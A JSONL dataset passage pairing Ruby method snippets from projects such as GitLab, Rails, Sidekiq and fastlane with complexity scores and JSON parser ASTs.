:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]},null]}]},null]}]}","id":"33f68dbb-5c48-4ce7-acad-227f8346c55d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/mcp/tools/api_service.rb","start_line":9,"raw_source":"def set_cred(current_user: nil, access_token: nil)\n        @access_token = access_token\n        _ = current_user # current_user is not used in ApiService\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"set_cred\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"current_user\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"access_token\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@access_token\",{\"type\":\"lvar\",\"children\":[\"access_token\"]}]},{\"type\":\"lvasgn\",\"children\":[\"_\",{\"type\":\"lvar\",\"children\":[\"current_user\"]}]}]}]}","id":"07864b45-ecaa-4ef5-bd61-9e5890822d54"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/job.rb","start_line":71,"raw_source":"def sidekiq_options(opts = {})\n          # stringify 2 levels of keys\n          opts = opts.to_h do |k, v|\n            [k.to_s, (Hash === v) ? v.transform_keys(&:to_s) : v]\n          end\n\n          self.sidekiq_options_hash = get_sidekiq_options.merge(opts)\n        end","complexity_score":13.1,"ast_json":"{\"type\":\"def\",\"children\":[\"sidekiq_options\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"to_h\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"to_s\"]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"===\",{\"type\":\"lvar\",\"children\":[\"v\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"transform_keys\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]},{\"type\":\"lvar\",\"children\":[\"v\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"sidekiq_options_hash=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_sidekiq_options\"]},\"merge\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]}]}","id":"cb8bf319-b37b-482d-9949-b13264991e5a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/vendor/jenkins/job.rb","start_line":142,"raw_source":"def build_gitlab_triggers(xml)\n          if gitlab_connection\n            xml.send(:\"com.dabsquared.gitlabjenkins.GitLabPushTrigger\") do\n              xml.spec\n              xml.triggerOnPush true\n              xml.triggerOnMergeRequest true\n              xml.includeBranchesSpec 'main,master'\n              xml.branchFilterType 'NameBasedFilter'\n              xml.ciSkip true\n            end\n          end\n        end","complexity_score":14.2,"ast_json":"{\"type\":\"def\",\"children\":[\"build_gitlab_triggers\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"xml\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gitlab_connection\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml\"]},\"send\",{\"type\":\"sym\",\"children\":[\"com.dabsquared.gitlabjenkins.GitLabPushTrigger\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml\"]},\"spec\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml\"]},\"triggerOnPush\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml\"]},\"triggerOnMergeRequest\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml\"]},\"includeBranchesSpec\",{\"type\":\"str\",\"children\":[\"main,master\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml\"]},\"branchFilterType\",{\"type\":\"str\",\"children\":[\"NameBasedFilter\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml\"]},\"ciSkip\",{\"type\":\"true\",\"children\":[]}]}]}]},null]}]}","id":"de760a0d-6d4e-4dd7-8879-dcd5e1675cfa"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/trace.rb","start_line":64,"raw_source":"def append(data, offset)\n        write('a+b') do |stream|\n          current_length = stream.size\n          break current_length unless current_length == offset\n\n          data = job.hide_secrets(data)\n          stream.append(data, offset)\n          stream.size\n        end\n      end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"append\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]},{\"type\":\"arg\",\"children\":[\"offset\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"write\",{\"type\":\"str\",\"children\":[\"a+b\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"stream\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"current_length\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream\"]},\"size\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_length\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"offset\"]}]},null,{\"type\":\"break\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_length\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"job\"]},\"hide_secrets\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream\"]},\"append\",{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"offset\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream\"]},\"size\"]}]}]}]}","id":"6f9e1205-711c-4957-b900-01babee681fc"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/support/rack_parsing_override.rb","start_line":22,"raw_source":"def parse_nested_query(*)\n      unless caller_locations.any? { |loc| loc.path == __FILE__ && (loc.lineno == RackParsingOverride::GET_LINE || loc.lineno == RackParsingOverride::POST_LINE) }\n        raise UnexpectedCall, \"Unexpected call to Rack::QueryParser#parse_nested_query\"\n      end\n      super\n    end","complexity_score":15.8,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_nested_query\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"caller_locations\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"loc\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loc\"]},\"path\"]},\"==\",{\"type\":\"str\",\"children\":[\"(method)\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loc\"]},\"lineno\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RackParsingOverride\"]},\"GET_LINE\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loc\"]},\"lineno\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RackParsingOverride\"]},\"POST_LINE\"]}]}]}]}]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"UnexpectedCall\"]},{\"type\":\"str\",\"children\":[\"Unexpected call to Rack::QueryParser#parse_nested_query\"]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"95154ebc-5a55-40d9-b8a8-9bd03e1e3aea"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/documents/lib/api/v3/documents/documents_api.rb","start_line":59,"raw_source":"def document\n                Document.visible.find(params[:id])\n              end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"document\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Document\"]},\"visible\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}","id":"497c82b2-f89e-4583-98b5-a29b2e081330"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/integrations/slack/incoming_message_builder.rb","start_line":82,"raw_source":"def verify_hook\n    {\n      challenge: params[:challenge]\n    }\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"verify_hook\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"challenge\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"challenge\"]}]}]}]}]}","id":"a7dcbba6-6578-4089-b49c-9ec8740885ca"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/enumerable_test.rb","start_line":22,"raw_source":"def +(other)\n      Money.new(value + other.value)\n    end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"+\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Money\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"value\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"value\"]}]}]}]}","id":"e220c391-2f5c-4515-9dde-4992a9fee722"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/packages/debian/distribution_key.rb","start_line":39,"raw_source":"def public_key_armored\n          if public_key.present? && !public_key.start_with?('-----BEGIN PGP PUBLIC KEY BLOCK-----')\n            errors.add(:public_key, 'must be ASCII armored')\n          end\n        end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"public_key_armored\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"public_key\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"public_key\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"-----BEGIN PGP PUBLIC KEY BLOCK-----\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"public_key\"]},{\"type\":\"str\",\"children\":[\"must be ASCII armored\"]}]},null]}]}","id":"53a4f16e-7aaf-4844-ba0a-d2706c2bb59a"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/filters_test.rb","start_line":755,"raw_source":"def test_before_action_rendering_breaks_actioning_chain_for_prepend_after_action\n    test_process(RenderingForPrependAfterActionController)\n    assert_equal %w( before_action_rendering ), @controller.instance_variable_get(:@ran_filter)\n    assert_not @controller.instance_variable_defined?(:@ran_action)\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_before_action_rendering_breaks_actioning_chain_for_prepend_after_action\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"test_process\",{\"type\":\"const\",\"children\":[null,\"RenderingForPrependAfterActionController\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"before_action_rendering\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"instance_variable_get\",{\"type\":\"sym\",\"children\":[\"@ran_filter\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"instance_variable_defined?\",{\"type\":\"sym\",\"children\":[\"@ran_action\"]}]}]}]}]}","id":"4fefd889-0648-45d2-a6c9-bb800545a543"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/match/lib/match/storage/git_storage.rb","start_line":247,"raw_source":"def git_push(commands: [], commit_message: nil)\n        commit_message ||= generate_commit_message\n        commands << \"git commit -m #{commit_message.shellescape}\"\n        git_push_command = \"git push origin #{self.branch.shellescape}\"\n        git_push_command = command_from_private_key(git_push_command) unless self.git_private_key.nil?\n        commands << git_push_command\n\n        UI.message(\"Pushing changes to remote git repo...\")\n        Helper.with_env_values('GIT_TERMINAL_PROMPT' => '0') do\n          commands.each do |command|\n            FastlaneCore::CommandExecutor.execute(command: command,\n                                                print_all: FastlaneCore::Globals.verbose?,\n                                            print_command: FastlaneCore::Globals.verbose?)\n          end\n        end\n      rescue => ex\n        UI.error(\"Couldn't commit or push changes back to git...\")\n        UI.error(ex)\n      end","complexity_score":31.5,"ast_json":"{\"type\":\"def\",\"children\":[\"git_push\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"commands\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"commit_message\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"commit_message\"]},{\"type\":\"send\",\"children\":[null,\"generate_commit_message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commands\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"git commit -m \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit_message\"]},\"shellescape\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"git_push_command\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"git push origin \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"branch\"]},\"shellescape\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"git_private_key\"]},\"nil?\"]},null,{\"type\":\"lvasgn\",\"children\":[\"git_push_command\",{\"type\":\"send\",\"children\":[null,\"command_from_private_key\",{\"type\":\"lvar\",\"children\":[\"git_push_command\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commands\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"git_push_command\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"str\",\"children\":[\"Pushing changes to remote git repo...\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Helper\"]},\"with_env_values\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"GIT_TERMINAL_PROMPT\"]},{\"type\":\"str\",\"children\":[\"0\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commands\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"command\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"CommandExecutor\"]},\"execute\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"command\"]},{\"type\":\"lvar\",\"children\":[\"command\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"print_all\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"Globals\"]},\"verbose?\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"print_command\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"Globals\"]},\"verbose?\"]}]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"ex\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"error\",{\"type\":\"str\",\"children\":[\"Couldn't commit or push changes back to git...\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"error\",{\"type\":\"lvar\",\"children\":[\"ex\"]}]}]}]},null]}]}","id":"af9398ab-754d-4e3b-a0d4-27f6f2133b66"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/ipynbdiff/lib/ipynb_diff/transformer.rb","start_line":57,"raw_source":"def decorate_cell(rows, cell, symbol)\n      tags = cell['metadata']&.fetch('tags', [])\n      type = cell['cell_type'] || 'raw'\n\n      [\n        ___(symbol, %(%% Cell type:#{type} id:#{cell['id']} tags:#{tags&.join(',')})),\n        ___,\n        rows,\n        ___\n      ]\n    end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"decorate_cell\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rows\"]},{\"type\":\"arg\",\"children\":[\"cell\"]},{\"type\":\"arg\",\"children\":[\"symbol\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tags\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cell\"]},\"[]\",{\"type\":\"str\",\"children\":[\"metadata\"]}]},\"fetch\",{\"type\":\"str\",\"children\":[\"tags\"]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"type\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cell\"]},\"[]\",{\"type\":\"str\",\"children\":[\"cell_type\"]}]},{\"type\":\"str\",\"children\":[\"raw\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"___\",{\"type\":\"lvar\",\"children\":[\"symbol\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"%% Cell type:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"str\",\"children\":[\" id:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cell\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]},{\"type\":\"str\",\"children\":[\" tags:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tags\"]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"___\"]},{\"type\":\"lvar\",\"children\":[\"rows\"]},{\"type\":\"send\",\"children\":[null,\"___\"]}]}]}]}","id":"2d7795d0-948a-4860-8621-0aacffaf416a"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/render_json_test.rb","start_line":112,"raw_source":"def test_render_json_with_callback\n    get :render_json_hello_world_with_callback, xhr: true\n    assert_equal '/**/alert({\"hello\":\"world\"})', @response.body\n    assert_equal \"text/javascript\", @response.media_type\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_render_json_with_callback\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"render_json_hello_world_with_callback\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"xhr\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/**/alert({\\\"hello\\\":\\\"world\\\"})\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"text/javascript\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"media_type\"]}]}]}]}","id":"0d32483c-ab60-419c-a52e-43dffb6b81d1"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/engine.rb","start_line":72,"raw_source":"def parse_config(io, fname, basepath = Dir.pwd, v1_config = false)\n      if /\\.rb$/.match?(fname)\n        require 'fluent/config/dsl'\n        Config::DSL::Parser.parse(io, File.join(basepath, fname))\n      else\n        Config.parse(io, fname, basepath, v1_config)\n      end\n    end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_config\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"io\"]},{\"type\":\"arg\",\"children\":[\"fname\"]},{\"type\":\"optarg\",\"children\":[\"basepath\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"pwd\"]}]},{\"type\":\"optarg\",\"children\":[\"v1_config\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\.rb$\"]},{\"type\":\"regopt\",\"children\":[]}]},\"match?\",{\"type\":\"lvar\",\"children\":[\"fname\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"fluent/config/dsl\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Config\"]},\"DSL\"]},\"Parser\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"io\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"basepath\"]},{\"type\":\"lvar\",\"children\":[\"fname\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Config\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"io\"]},{\"type\":\"lvar\",\"children\":[\"fname\"]},{\"type\":\"lvar\",\"children\":[\"basepath\"]},{\"type\":\"lvar\",\"children\":[\"v1_config\"]}]}]}]}","id":"d3dac160-8390-45ad-b32b-1548e81742d8"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/message_pack/extensions.rb","start_line":205,"raw_source":"def read_duration(unpacker)\n        value = unpacker.read\n        parts = ActiveSupport::Duration::PARTS.zip(unpacker.read).to_h\n        parts.compact!\n        ActiveSupport::Duration.new(value, parts)\n      end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"read_duration\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"unpacker\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unpacker\"]},\"read\"]}]},{\"type\":\"lvasgn\",\"children\":[\"parts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Duration\"]},\"PARTS\"]},\"zip\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unpacker\"]},\"read\"]}]},\"to_h\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"compact!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Duration\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"parts\"]}]}]}]}","id":"1cba06af-fbfc-42e6-9f7d-93e45c061642"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_helper_test.rb","start_line":1428,"raw_source":"def test_week_field_with_datetime_value_attr\n    expected = %{<input id=\"post_written_on\" name=\"post[written_on]\" type=\"week\" value=\"2004-W25\" />}\n    value = DateTime.new(2004, 6, 15, 1, 2, 3)\n    assert_dom_equal(expected, week_field(\"post\", \"written_on\", value: value))\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_week_field_with_datetime_value_attr\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"str\",\"children\":[\"<input id=\\\"post_written_on\\\" name=\\\"post[written_on]\\\" type=\\\"week\\\" value=\\\"2004-W25\\\" />\"]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"new\",{\"type\":\"int\",\"children\":[2004]},{\"type\":\"int\",\"children\":[6]},{\"type\":\"int\",\"children\":[15]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[null,\"week_field\",{\"type\":\"str\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"written_on\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}]}]}","id":"1a8c90a3-f908-433c-b5ff-2d9c8bebbb3e"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/workers/work_packages/progress/sql_commands.rb","start_line":220,"raw_source":"def update_total_percent_complete_in_work_weighted_average_mode\n    execute(<<~SQL.squish)\n      UPDATE temp_wp_progress_values\n      SET total_p_complete = CASE\n        WHEN total_work IS NULL OR total_remaining_work IS NULL THEN NULL\n        WHEN total_work = 0 THEN NULL\n        ELSE ROUND(\n          ((total_work - total_remaining_work)::float / total_work) * 100\n        )\n      END\n      WHERE id IN (\n        SELECT ancestor_id\n        FROM work_package_hierarchies\n        GROUP BY ancestor_id\n        HAVING MAX(generations) > 0\n      )\n    SQL\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"update_total_percent_complete_in_work_weighted_average_mode\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE temp_wp_progress_values\\n\"]},{\"type\":\"str\",\"children\":[\"SET total_p_complete = CASE\\n\"]},{\"type\":\"str\",\"children\":[\"  WHEN total_work IS NULL OR total_remaining_work IS NULL THEN NULL\\n\"]},{\"type\":\"str\",\"children\":[\"  WHEN total_work = 0 THEN NULL\\n\"]},{\"type\":\"str\",\"children\":[\"  ELSE ROUND(\\n\"]},{\"type\":\"str\",\"children\":[\"    ((total_work - total_remaining_work)::float / total_work) * 100\\n\"]},{\"type\":\"str\",\"children\":[\"  )\\n\"]},{\"type\":\"str\",\"children\":[\"END\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE id IN (\\n\"]},{\"type\":\"str\",\"children\":[\"  SELECT ancestor_id\\n\"]},{\"type\":\"str\",\"children\":[\"  FROM work_package_hierarchies\\n\"]},{\"type\":\"str\",\"children\":[\"  GROUP BY ancestor_id\\n\"]},{\"type\":\"str\",\"children\":[\"  HAVING MAX(generations) > 0\\n\"]},{\"type\":\"str\",\"children\":[\")\\n\"]}]},\"squish\"]}]}]}","id":"4fcf1e14-3313-419a-8b19-daf6df561f1f"}
